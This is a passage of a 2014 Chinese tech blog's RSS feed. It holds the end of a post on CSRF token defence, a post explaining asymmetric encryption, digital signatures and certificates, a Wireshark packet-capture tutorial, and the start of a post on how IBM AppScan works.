#000000;">(&#8221;functions</span><span style="color: #000000;">.</span><span style="color: #000000;">php&#8221;);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">?&gt;</span><span style="color: #000000;"><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">form&nbsp;method</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;POST&#8221;&nbsp;action</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;transfer</span><span style="color: #000000;">.</span><span style="color: #000000;">php&#8221;</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">input&nbsp;type</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;text&#8221;&nbsp;name</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;toBankId&#8221;</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">input&nbsp;type</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;text&#8221;&nbsp;name</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;money&#8221;</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;?</span><span style="color: #000000;">&nbsp;gen_input();&nbsp;</span><span style="color: #000000;">?&gt;</span><span style="color: #000000;"><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;</span><span style="color: #000000;">input&nbsp;type</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;submit&#8221;&nbsp;name</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;submit&#8221;&nbsp;value</span><span style="color: #000000;">=</span><span style="color: #000000;">&#8221;Submit&#8221;</span><span style="color: #000000;">&gt;</span><span style="color: #000000;"><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #000000;">&lt;/</span><span style="color: #000000;">FORM</span><span style="color: #000000;">&gt;</span><div><a title="复制代码"><img src="http://common.cnblogs.com/images/copycode.gif" alt="复制代码" /></a></div></div> <p>　　5).服务端核对令牌：</p> <p>　　这个很简单，这里就不再啰嗦了。</p> <p>　　上面这个其实不完全符合&#8220;并行会话的兼容&#8221;的规则，大家可以在此基础上修改。</p> <p>&nbsp;</p> <p>　　其实还有很多想写，无奈精力有限，暂且打住，日后补充，如果错漏，请指出:&gt;</p> <p>　　PS：今天下午写这篇文档的时候FF崩溃了一次，写了一半文章的全没了，郁闷好久T_T.......</p> <p>　　转载请说明出处，谢谢[hyddd(http://www.cnblogs.com/hyddd/)]</p></div><img src ="http://www.cnitblog.com/stomic/aggbug/89870.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/stomic/" target="_blank">大话人生</a> 2014-11-28 13:56 <a href="http://www.cnitblog.com/stomic/archive/2014/11/28/89870.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>非对称加密原理解析</title><link>http://www.cnitblog.com/stomic/archive/2014/11/18/89851.html</link><dc:creator>大话人生</dc:creator><author>大话人生</author><pubDate>Tue, 18 Nov 2014 09:50:00 GMT</pubDate><guid>http://www.cnitblog.com/stomic/archive/2014/11/18/89851.html</guid><wfw:comment>http://www.cnitblog.com/stomic/comments/89851.html</wfw:comment><comments>http://www.cnitblog.com/stomic/archive/2014/11/18/89851.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/stomic/comments/commentRss/89851.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/stomic/services/trackbacks/89851.html</trackback:ping><description><![CDATA[<div>一、加密算法种类   <br />   1密钥   <br />   密钥，一般就是一个字符串或数字，在加密或者解密时传递给加密或解密算法，以使算法能够正确对明文加密或者对密文解密。   <br />   2加密算法分类   <br />   这世上存在两种加密算法：对称加密(symmetric cryptography)和非对称加密(asymmetric cryptography)。   <br />   也就是说，你想进行加解密操作的时候需要具备两样东西：秘钥和加解密算法。   <br />   2.1、对称加密   <br />   对称加密算法的特点是加密使用的密钥和解密使用的密钥是相同的。也就是说，加密和解密都是使用的同一个密钥。因此对称加密算法要保证安全性的话，密钥自然要做好保密，只能让使用的人知道，不能对外公开。   <br />   2.2、非对称加密   <br />   在非对称加密算法中，有公钥和私钥两种密钥，其中，公钥是公开的，不需要保密，私钥由个人持有，必须妥善保管和注意保密。加密和解密使用两种不同的密钥，是它得名的原因。估计大家都听说过RSA，这就是一种常见的，应用很广的非对称加密算法。   <br />   <br />   二、非对称加密方法   <br />   1公钥私钥的使用原则   <br />   &#9312;每一个公钥都对应一个私钥。   <br />   &#9313;密钥对中，让大家都知道的是公钥，不告诉大家，只有自己知道的，是私钥。 &#9314;如果用其中一个密钥加密数据，则只有对应的那个密钥才可以解密。   <br />   &#9315;如果用其中一个密钥可以进行解密数据，则该数据必然是对应的那个密钥进行的加密。   <br />   <br />   非对称密钥密码的主要应用就是公钥加密和公钥认证。   <br />   2公钥加密、解密   <br />   加密的目的，是不希望第三者看到当前两个通讯用户的通讯内容。   <br />   <br />   2.1加密   <br />   A（客户）想给B（服务器）发送一段文字，但是不想让别人看到，因此想使用非对称加密方法来加密这段文字，当然，B需要有一对公钥和私钥：   <br />   &#9312; B将他的公钥发送给A   <br />   &#9313; A用B给他的公钥加密这段文字，然后传给B   <br />   &#9314; B用他的私钥解密A发过来的消息，这里要强调的是，只要B的私钥不泄露，这封信就是安全的，即使落在别人手里，也无法解密。   <br />   通过这几步，B就能成功收到A发送的信息，同时又达到了保密的目的。   <br />   <br />   2.2解密   <br />   如果B想给A回信息，就简单的多了：   <br />   &#9312; B将要回复的信息通过自己的私钥加密，然后传送给A   <br />   &#9313; A用B之前给他的公钥解出这份信息。   <br />   <br />   3、公钥认证   <br />   在2公钥加密、解密里面描述的通讯过程看似简单，但想想这个问题：在过程2中，A怎么B给他的回信在传递过程中，有没有被人修改？这就涉及到数字签名的概念。   <br />   <br />   3.1数字签名（digital signature）   <br />   微软官方给出的定义：&#8220;数字签名&#8221;是指可以添加到文件的电子安全标记。使用它可以验证文件的发行者以及帮助验证文件自被数字签名后是否发生更改。   <br />   <br />   3.1.1数字签名原理   <br />    要达到这个目的，一般是对信息做一个hash计算得到一个hash值，注意，这个过程是不可逆的，也就是说无法通过hash值得出原来的信息内容。在把信 息发送出去时，把这个hash值加密后做为一个签名和信息一起发出去。  接收方在收到信息后，会重新计算信息的hash值，并和信息所附带的hash值(解密后)进行对比，如果一致，就说明信息的内容没有被修改过，因为这里 hash计算可以保证不同的内容一定会得到不同的hash值，所以只要内容一被修改，根据信息内容计算的hash值就会变化。当然，不怀好意的人也可以修 改信息内容的同时也修改hash值，从而让它们可以相匹配，为了防止这种情况，hash值一般都会加密后(也就是签名)再和信息一起发送。   <br />   <br />   3.1.2数字签名使用方式   <br />   下面通过例子来说明这个过程：   <br />   B给A回信时，采用了数字签名的方式   <br />   1、B先用hash函数，生成信件的摘要(digest)   <br />   2、B使用自己的私钥，对这个摘要加密，这样就生成了数字签名(signature)   <br />   3、B将这个签名附在要回复的信息后面，一起发给A   <br />   4、A收到B的信息后，取下数字签名，并通过B的公钥解密，得到信件的摘要信息   <br />   5、A在对B发送的信息本身使用B指定的hash函数，将得到的结果同上一步解密得到的摘要进行对比，如果两者一致，就说明B发过来的信息未被修改过。   <br />   <br />   3.2数字证书（Digital Certificate）   <br />   问题就这样结束了吗？远没有，试想，虽然A确定了B回给他的信息是未修改过的，但是怎么确定给他回信息的就是B？如果有不怀好意的C把A保存的B的公钥偷偷换成自己的，并冒用B的名义给A发信息呢？   <br />   要解决这个问题，A只要能确定自己持有的公钥到底是不是B的就行了，这就需要用到数字证书。   <br />   数字证书是用来验证公钥所属的用户身份。在日常生活中，如果我们要验证一个人的身份，通常的做法是查看他的身份证。我们信任身份证颁发机构即政府机构的公信力，因此只要验证一个人的身份证不是伪造的，我们就相信这个人的身份和身份证上所描述的是一致的。   <br />   数字证书就是一个人或者组织在网络世界中的身份证，其发证机关是证书管理机构(certificate authority,CA)。CA用自己的私钥对用户的身份信息(主要是用户名和该用户的公钥)进行签名，该签名和用户的身份信息一起就形成了证书。   <br />   <br />   3.2.1数字证书的构成   <br />    证书的发布机构（Issuer）   <br />   指出是什么机构发布的这个证书，也就是指明这个证书是哪个证书中心（certificate authority，简称CA）发布的的(只是创建证书，不是指证书的使用者)。   <br />    证书的有效期（Valid from , Valid to）   <br />   也就是证书的有效时间，或者说证书的使用期限。 过了有效期限，证书就会作废，不能使用了。   <br />    公钥 （Public key）   <br />   这个我们在前面介绍公钥密码体制时介绍过，公钥是用来对消息进行加密解密的，是很长的一串数字。   <br />    证书所有者（Subject）   <br />   这个证书是发布给谁的，或者说证书的所有者，一般是某个人或者某个公司名称、机构的名称、公司网站的网址等。   <br />    签名所使用的算法 （Signature algorithm）   <br />   指的这个数字证书的数字签名所使用的加密算法，这样就可以使用证书发布机构的证书里面的公钥，根据这个算法对指纹进行解密。指纹的加密结果就是数字签名   <br />    指纹以及指纹算法 （Thumbprint, Thumbprint algorithm）   <br />   这个是用来保证证书的完整性的，也就是说确保证书没有被修改过。  其原理就是在发布证书时，发布者根据指纹算法(一个hash算法)计算整个证书的hash值(指纹)并和证书放在一起，使用者在打开证书时，自己也根据指 纹算法计算一下证书的hash值(指纹)，如果和刚开始的值对得上，就说明证书没有被修改过，因为证书的内容被修改后，根据证书的内容计算的出的hash 值(指纹)是会变化的。   <br />   <br />   3.2.2数字证书的生成过程   <br />   <p>1、使用数字证书申请者的身份信息生成数字签名</p>   <p>     <img src="http://img0.tuicool.com/jAbAR3.png" alt="" />     <br />   </p>   <p>     2、将证书申请者的身份信息和数字签名一起组成数字证书     <br />   </p>   <p>     <img src="http://img1.tuicool.com/MFZnai.png" alt="" />     <br />   </p>   <p>     3.2.3数字证书原理     <br />     有了数字证书以后，A和想跟B通信，就可以通过B的数字证书来获取B的公钥，以达到验证自己手中的公钥到底是不是B的目的。过程是这样的：     <br />     1、B给A回信的时候，在信息后面附上了自己的数字证书     <br />     2、A收到B的回信以后，会取出附带的数字证书，并读取证书中的发布机构（Issuer），然后从操作系统的受信任证书机构列表中查找该证书办发机构的公钥，如果找不到，说明这个证书颁发机构是个不受信任的，B发过来的信息当然也是不安全的     <br />     3、使用上一步取到的证书颁发机构的公钥，解出数字证书，得到可能是B的用户信息和数字签名     <br />     4、A通过证书中指定的加密算法对可能是B的用户信息进行hash加密     <br />     5、加密后的结果和证书中解出的数字签名进行对比，如果相同，就说明这份用户信息确实是B的，也就是说用户信息中包含的公钥确实是B的     <br />     这样就验证了B身份的真实性。     <br />     下图很形象的表示了这个过程：     <br />     <img src="http://img2.tuicool.com/zQvyIb.png" alt="" />     <br />   </p>   <p>     3.2.4证书发布中心（CA）的公钥的嵌套验证     <br />      这里有一个有趣的问题，用户A使用证书机构的公钥来验证用户B的数字证书，但如果A和B使用的证书认证中心（CA）不同怎么办呢？由于证书认证中心可以通 过另外一个更高级别的认证中心对该证书机构的公钥颁发一个证书，这样形成了一个公钥证书的嵌套循环，该循环的终点就是根证书机构。根证书机构较少，其公钥 可以通过安全的方式发布，如通过USB拷贝、书面文件当面移交。如此依赖，A就必须从B的CA的树形结构底部开始，从底层CA往上层CA查询，一直到找到 共同的信任CA为止。     <br />     整个过程如下图所示：     <br />     <img src="http://img0.tuicool.com/jmAZby.png" alt="" />     <br />   </p>   <p>     3.2.5证书发布机构     <br />     3.2.5.1谁可以成为证书发布机构     <br />     到这里，你可能会想，那我们自己就不能发布证书吗？就一定要花钱去申请？     <br />      当然不是，我们自己也可以成立证书发布机构，但是需要通过一些安全认证等等，只是有点麻烦。另外，如果数字证书只是要在公司内部使用，公司可以自己给自己 生成一个证书，在公司的所有机器上把这个证书设置为操作系统信任的证书发布机构的证书(这句话仔细看清楚，有点绕口)，这样以后公司发布的证书在公司内部 的所有机器上就可以通过验证了(在发布证书时，把这些证书的Issuer(发布机构)设置为我们自己的证书发布机构的证书的Subject(主题)就可以 了)。但是这只限于内部应用，因为只有我们公司自己的机器上设置了信任我们自己这个所谓的证书发布机构，而其它机器上并没有事先信任我们这个证书发布机 构，所以在其它机器上，我们发布的证书就无法通过安全验证。     <br />     <br />      我们自己可以去注册一家公司来专门给别人发布证书，但是很明显，我们自己的专门发布证书的公司是不会被那些国际上的权威机构认可的，人家怎么知道你是不是 个狗屁皮包公司？因此微软（或其它操作系统提供商）在它的操作系统中，并不会信任我们这个证书发布机构，当应用程序在检查证书的合法信的时候，一看证书的 发布机构并不是操作系统所信任的发布机构，就会抛出错误信息。也就是说windows操作系统中不会预先安装好我们这个证书发布机构的证书，不信任我们这 个发布机构。     <br />     <br />     3.2.5.2不受信任的证书发布机构的危害     <br />      为什么一个证书发布机构受不受信任这么重要？我们举个例子。假设我们开了一个狗屁公司来为别人发布证书，并且我和微软有一腿，微软在他们的操作系统中把我 设置为了受信任的证书发布机构。现在如果有个小公司叫hisunsray花了10块钱让我为他们公司申请了一个证书，并且公司慢慢壮大，证书的应用范围也 越来越广。然后有个奸商的公司baidu想冒充hisunsray，于是给了我￥10000，让我为他们颁布一个证书，但是证书的名字(Subject) 要写hisunsray，假如我为了这￥10000，真的把证书给了他们，那么他们以后就可以使用这个证书来冒充hisunsray了。     <br />     如果是一个优秀的证书发布机构，比如你要向他申请一个名字叫hisunsray的证书，它会让你提供很多资料证明你确实可以代表hisunsray这个公司，也就是说他回去核实你的身份。证书发布机构是要为他发布出的证书负法律责任的。     <br />     <br />     3.2.6如何查看数字证书     <br />     我们的操作系统中会预先安装好一些证书发布机构的证书，我们可以通过证书管理器进行证书的增、删操作，下面介绍如何找到它们。     <br />     <br />     3.2.6.1windows     <br />     开始菜单-&gt;运行，输入certmgr.msc，回车     <br />     <img src="http://img1.tuicool.com/VraMJb.png" alt="" />     <br />   </p>   <p>     3.2.6.2mac     <br />     打开keychain，选择钥匙串中的系统根证书，种类中的证书即可看到下图所示的收信人证书发布机构列表：     <br />     <img src="http://img2.tuicool.com/3AJnQ3.png" alt="" />     <br />   </p>   <p>     当然，以上这些内容，只涉及到非对称加密方法的最基础原理，实际使用的时候肯定复杂很多，有兴趣大家可以私下研究。     <br />   </p>   <p>     &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; -----------by  wangzz   </p></div><img src ="http://www.cnitblog.com/stomic/aggbug/89851.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/stomic/" target="_blank">大话人生</a> 2014-11-18 17:50 <a href="http://www.cnitblog.com/stomic/archive/2014/11/18/89851.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>wireshark怎么抓包、wireshark抓包详细图文教程</title><link>http://www.cnitblog.com/stomic/archive/2014/11/17/89849.html</link><dc:creator>大话人生</dc:creator><author>大话人生</author><pubDate>Mon, 17 Nov 2014 12:51:00 GMT</pubDate><guid>http://www.cnitblog.com/stomic/archive/2014/11/17/89849.html</guid><wfw:comment>http://www.cnitblog.com/stomic/comments/89849.html</wfw:comment><comments>http://www.cnitblog.com/stomic/archive/2014/11/17/89849.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/stomic/comments/commentRss/89849.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/stomic/services/trackbacks/89849.html</trackback:ping><description><![CDATA[<div><div id="content">           <p>wireshark是非常流行的网络封包分析软件，功能十分强大。可以截取各种网络封包，显示网络封包的详细信息。使用wireshark的人必须了解网络协议，否则就看不懂wireshark了。<br />为了安全考虑，wireshark只能查看封包，而不能修改封包的内容，或者发送封包。<br /></p><p>wireshark能获取HTTP，也能获取HTTPS，但是不能解密HTTPS，所以wireshark看不懂HTTPS中的内容，总结，如果是处理HTTP,HTTPS 还是用Fiddler,<strong>  其他协议比如TCP,UDP 就用wireshark.</strong><br /></p><div style="background: none repeat scroll 0% 0% #fafeff; padding: 5px 175px 5px 5px; position: relative; margin: 0px 10px; overflow: hidden; font-size: 12px; font-family: arial;">    <a href="http://www.cr173.com/soft/44435.html"><img title="点击查看大图" style="border-width: 1px; border-style: solid; border-color: #ffffff #c9d5db #c9d5db #ffffff; width: 48px; display: inline; margin-right: 15px; float: left; cursor: pointer;" alt="Wireshark(网络嗅探抓包工具)" src="http://pic.cr173.com/up/2012-6/2012625144720.jpg" /></a>  <div style=" overflow:hidden; padding-top:12px;"> <div style=" float: left; line-height:25px;"> <a style="font-weight:bold; font-size:14px; line-height:24px; text-decoration:none; color:#121212;" href="http://www.cr173.com/soft/44435.html">Wireshark(网络嗅探抓包工具) v1.4.9 中文版(包含中文手册+主界面的操作菜单) </a> 评分: </div>  <div>3.1</div>   <div style=" clear:both;"> <span style="color:#333; line-height:24px;">类别： 远程监控 &nbsp;&nbsp;&nbsp;大小：22M  &nbsp;&nbsp;&nbsp;语言： 中文 </span><br /> <a href="http://www.cr173.com/soft/44435.html" style="font-weight:bold; color:#0674ac; text-decoration:none; ">查看详细信息 &gt;&gt;</a> </div> </div>  <div style="position: absolute; right: 20px; top: 5px; text-align: center; width: 146px;">  </div> </div>     <strong><br /></strong><p><strong>wireshark 开始抓包</strong></p><p>开始界面</p><p style="text-indent: 0px;" align="center"><img style="cursor: pointer;" title="点击查看大图" src="http://www.cr173.com/up/2013-5/2013050217125676858.png" alt="" width="600" /></p><p><strong>wireshark是捕获机器上的某一块网卡的网络包</strong>，当你的机器上有多块网卡的时候，你需要选择一个网卡。</p><p>点击Caputre-&gt;Interfaces.. 出现下面对话框，选择正确的网卡。然后点击"Start"按钮, 开始抓包</p><p style="text-indent: 0px;" align="center"><img style="cursor: pointer;" title="点击查看大图" src="http://www.cr173.com/up/2013-5/2013050217125648024.png" alt="" width="600" /></p><p>Wireshark 窗口介绍</p><p style="text-indent: 0px;" align="center"><img style="cursor: pointer;" title="点击查看大图" src="http://www.cr173.com/up/2013-5/2013050217125642416.png" alt="" width="600" /></p><p><strong>WireShark 主要分为这几个界面</strong></p><p>1. Display Filter(显示过滤器)，&nbsp; 用于过滤</p><p>2. Packet List Pane(封包列表)， 显示捕获到的封包， 有源地址和目标地址，端口号。 颜色不同，代表</p><p>3. Packet Details Pane(封包详细信息), 显示封包中的字段</p><p>4. Dissector Pane(16进制数据)</p><p>5. Miscellanous(地址栏，杂项)</p><p><strong></strong></p><p style="text-indent: 0px;"><img style="cursor: pointer;" title="点击查看大图" src="http://www.cr173.com/up/2013-5/2013050217125625854.png" alt="" width="600" /></p><p>使用过滤是非常重要的， 初学者使用wireshark时，将会得到大量的冗余信息，在几千甚至几万条记录中，以至于很难找到自己需要的部分。搞得晕头转向。</p><p>过滤器会帮助我们在大量的数据中迅速找到我们需要的信息。</p><p>过滤器有两种，</p><p>一种是显示过滤器，就是主界面上那个，用来在捕获的记录中找到所需要的记录</p><p>一种是捕获过滤器，用来过滤捕获的封包，以免捕获太多的记录。 在Capture -&gt; Capture Filters 中设置</p><p>保存过滤</p><p>在Filter栏上，填好Filter的表达式后，点击Save按钮， 取个名字。比如"Filter 102",</p><p style="text-indent: 0px;" align="center"><img style="cursor: pointer;" title="点击查看大图" src="http://www.cr173.com/up/2013-5/2013050217125743998.png" alt="" width="600" /></p><p>Filter栏上就多了个"Filter 102" 的按钮。</p><p style="text-indent: 0px;"><img style="cursor: pointer;" title="点击查看大图" src="http://www.cr173.com/up/2013-5/2013050217125766695.png" alt="" width="600" /></p><p><strong>过滤表达式的规则</strong></p><p>表达式规则</p><p>&nbsp;1. 协议过滤</p><p>比如TCP，只显示TCP协议。</p><p>2. IP 过滤</p><p>比如 ip.src ==192.168.1.102 显示源地址为192.168.1.102，</p><p>ip.dst==192.168.1.102, 目标地址为192.168.1.102</p><p>3. 端口过滤</p><p>tcp.port ==80,&nbsp; 端口为80的</p><p>tcp.srcport == 80,&nbsp; 只显示TCP协议的愿端口为80的。</p><p>4. Http模式过滤</p><p>http.request.method=="GET",&nbsp;&nbsp; 只显示HTTP GET方法的。</p><p>5. 逻辑运算符为 AND/ OR</p><p>常用的过滤表达式</p><table style="border: 0px solid #fb0308; border-collapse: collapse; font-family: 'black Verdana', Arial, Helvetica, sans-serif; font-size: 14px; line-height: 21px; background-color: #d4f6ec; width: 631px; height: 190px;" align="left" border="0"><tbody><tr><td style="border: 1px solid #c0c0c0; border-collapse: collapse; padding: 3px; word-break: normal !important;">过滤表达式</td><td style="border: 1px solid #c0c0c0; border-collapse: collapse; padding: 3px; word-break: normal !important;">用途</td></tr><tr><td style="border: 1px solid #c0c0c0; border-collapse: collapse; padding: 3px; word-break: normal !important;">http</td><td style="border: 1px solid #c0c0c0; border-collapse: collapse; padding: 3px; word-break: normal !important;">只查看HTTP协议的记录</td></tr><tr><td style="border: 1px solid #c0c0c0; border-collapse: collapse; padding: 3px; word-break: normal !important;">ip.src ==192.168.1.102 or ip.dst==192.168.1.102</td><td style="border: 1px solid #c0c0c0; border-collapse: collapse; padding: 3px; word-break: normal !important;">&nbsp;源地址或者目标地址是192.168.1.102</td></tr><tr><td style="border: 1px solid #c0c0c0; border-collapse: collapse; padding: 3px; word-break: normal !important;">&nbsp;</td><td style="border: 1px solid #c0c0c0; border-collapse: collapse; padding: 3px; word-break: normal !important;">&nbsp;</td></tr><tr><td style="border: 1px solid #c0c0c0; border-collapse: collapse; padding: 3px; word-break: normal !important;">&nbsp;</td><td style="border: 1px solid #c0c0c0; border-collapse: collapse; padding: 3px; word-break: normal !important;">&nbsp;</td></tr></tbody></table><p>封包列表(Packet List Pane)</p><p>封包列表的面板中显示，编号，时间戳，源地址，目标地址，协议，长度，以及封包信息。 你可以看到不同的协议用了不同的颜色显示。</p><p>你也可以修改这些显示颜色的规则，&nbsp; View -&gt;Coloring Rules.</p><p style="text-indent: 0px;" align="center"><img style="cursor: pointer;" title="点击查看大图" src="http://www.cr173.com/up/2013-5/2013050217125720773.png" alt="" width="600" /></p><p>封包详细信息 (Packet Details Pane)</p><p>这个面板是我们最重要的，用来查看协议中的每一个字段。</p><p>各行信息分别为</p><p>Frame:&nbsp;&nbsp;&nbsp;物理层的数据帧概况</p><p>Ethernet&nbsp;II:&nbsp;数据链路层以太网帧头部信息</p><p>Internet Protocol Version 4:&nbsp;互联网层IP包头部信息<br /></p><p>Transmission Control Protocol:&nbsp;&nbsp;传输层T的数据段头部信息，此处是TCP<br /></p><p>Hypertext Transfer Protocol:&nbsp;&nbsp;应用层的信息，此处是HTTP协议<br /></p><p style="text-indent: 0px;" align="center"><img style="cursor: pointer;" title="点击查看大图" src="http://www.cr173.com/up/2013-5/2013050217125736394.png" alt="" width="600" /></p><p><strong>TCP包的具体内容</strong></p><p>&nbsp;从下图可以看到wireshark捕获到的TCP包中的每个字段。</p><p style="text-indent: 0px;" align="center"><img style="cursor: pointer;" title="点击查看大图" src="http://www.cr173.com/up/2013-5/2013050217125787134.png" alt="" width="600" /></p><p>看到这， 基本上对wireshak有了初步了解， 现在我们看一个TCP三次握手的实例</p><p>&nbsp;三次握手过程为</p><p style="text-indent: 0px;" align="center"><img style="cursor: pointer;" title="点击查看大图" src="http://www.cr173.com/up/2013-5/2013050217125714223.png" alt="" width="600" /></p><p>这图我都看过很多遍了， 这次我们用wireshark实际分析下三次握手的过程。</p><p>打开wireshark, 打开浏览器输入&nbsp;http://www.cr173.com</p><p>在wireshark中输入http过滤， 然后选中GET /tankxiao HTTP/1.1的那条记录，右键然后点击"Follow TCP Stream",</p><p>这样做的目的是为了得到与浏览器打开网站相关的数据包，将得到如下图</p><p style="text-indent: 0px;" align="center"><img style="cursor: pointer;" title="点击查看大图" src="http://www.cr173.com/up/2013-5/2013050217125854801.png" alt="" width="600" /></p><p>图中可以看到wireshark截获到了三次握手的三个数据包。第四个包才是HTTP的， 这说明HTTP的确是使用TCP建立连接的。</p><p><strong>第一次握手数据包</strong></p><p>客户端发送一个TCP，标志位为SYN，序列号为0， 代表客户端请求建立连接。 如下图</p><p style="text-indent: 0px;" align="center"><img style="cursor: pointer;" title="点击查看大图" src="http://www.cr173.com/up/2013-5/2013050217125843584.png" alt="" width="600" /></p><p><strong>第二次握手的数据包</strong></p><p>服务器发回确认包, 标志位为 SYN,ACK. 将确认序号(Acknowledgement Number)设置为客户的I S N加1以.即0+1=1, 如下图</p><p style="text-indent: 0px;" align="center"><img style="cursor: pointer;" title="点击查看大图" src="http://www.cr173.com/up/2013-5/2013050217125855065.png" alt="" width="600" /></p><p><strong>第三次握手的数据包</strong></p><p>客户端再次发送确认包(ACK) SYN标志位为0,ACK标志位为1.并且把服务器发来ACK的序号字段+1,放在确定字段中发送给对方.并且在数据段放写ISN的+1, 如下图:</p><p style="text-indent: 0px;" align="center"><img style="cursor: pointer;" title="点击查看大图" src="http://www.cr173.com/up/2013-5/2013050217125894588.png" alt="" width="600" /></p><p>&nbsp;就这样通过了TCP三次握手，建立了连接</p>    </div></div><img src ="http://www.cnitblog.com/stomic/aggbug/89849.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/stomic/" target="_blank">大话人生</a> 2014-11-17 20:51 <a href="http://www.cnitblog.com/stomic/archive/2014/11/17/89849.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title> Rational AppScan 工作原理</title><link>http://www.cnitblog.com/stomic/archive/2014/09/05/89739.html</link><dc:creator>大话人生</dc:creator><author>大话人生</author><pubDate>Fri, 05 Sep 2014 14:33:00 GMT</pubDate><guid>http://www.cnitblog.com/stomic/archive/2014/09/05/89739.html</guid><wfw:comment>http://www.cnitblog.com/stomic/comments/89739.html</wfw:comment><comments>http://www.cnitblog.com/stomic/archive/2014/09/05/89739.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/stomic/comments/commentRss/89739.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/stomic/services/trackbacks/89739.html</trackback:ping><description><![CDATA[<div><p><a name="1.Rational AppScan 工作原理">Rational AppScan 工作原理</a></p> <p>Rational AppScan（简称 AppScan）其实是一个产品家族，包括众多的应用安全扫描产品，从开发阶段的源代码扫描的  AppScan source edition，到针对 Web 应用进行快速扫描的 AppScan standard  edition，以及进行安全管理和汇总整合的 AppScan enterprise Edition 等。我们经常说的 AppScan  就是指的桌面版本的 AppScan，即 AppScan standard edition。其安装在 Windows 操作系统上，可以对网站等  Web 应用进行自动化的应用安全扫描和测试。</p> <p>来张 AppScan 的截图，用图表说话，更明确。</p> <br /> <a name="fig1"><strong>图 1. AppScan 标准版界面</strong></a><br /> <img alt="图 1. AppScan 标准版界面" src="http://www.ibm.com/developerworks/cn/rational/r-cn-appscanlargewebsite1/image001.png" height="343" width="572" /> <br /> <p><a href="http://www.ibm.com/developerworks/cn/rational/r-cn-appscanlargewebsite1/origin_image001.png" target="_blank">图 1 大图</a></p> <p>请注意右上角，单击&#8220;扫描&#8221;下面的小三角，可以出现如下的三个选型<strong>&#8220;继续完全扫描&#8221;、&#8220;继续仅探索&#8221;、&#8220;继续仅测试&#8221;</strong>，有木有？什么意思？理解了这个地方，就理解了 AppScan 的工作原理，我们慢慢展开：</p> <p>还没有正式开始安全测试之前，所以先不管&#8220;继续&#8221;，直接来讨论&#8220;完全扫描&#8221;，&#8220;仅探索&#8221;，&#8220;仅测试&#8221;三个名词：</p> <p><a name="N100E1">AppScan 三个核心要素</a></p> <p>AppScan 是对网站等 Web  应用进行安全攻击来检查网站是否存在安全漏洞；既然是攻击，需要有明确的攻击对象吧.对网站来说，一个网 站存在的页面，可能成千上万。每个页面也都可能存在多个字段（参数），比如一个登陆界面，至少要输入用户名和密码吧，这就是一个页面存在两个字段，你提交 了用户名密码等登陆信息，网站总要有地方接受并且检查是否正确吧，这就可能存在一个新的检查页面。这里的<strong>每个页面的每个参数都可能存在安全漏洞，所有都是被攻击对象，都需要来检查</strong>。</p> <p>这就存在一个问题，我们来负责来检查一个网站的安全性，这个网站有多少个页面，有多少个参数，页面之间如何跳转，我们可能并不明确，如何知道这些信 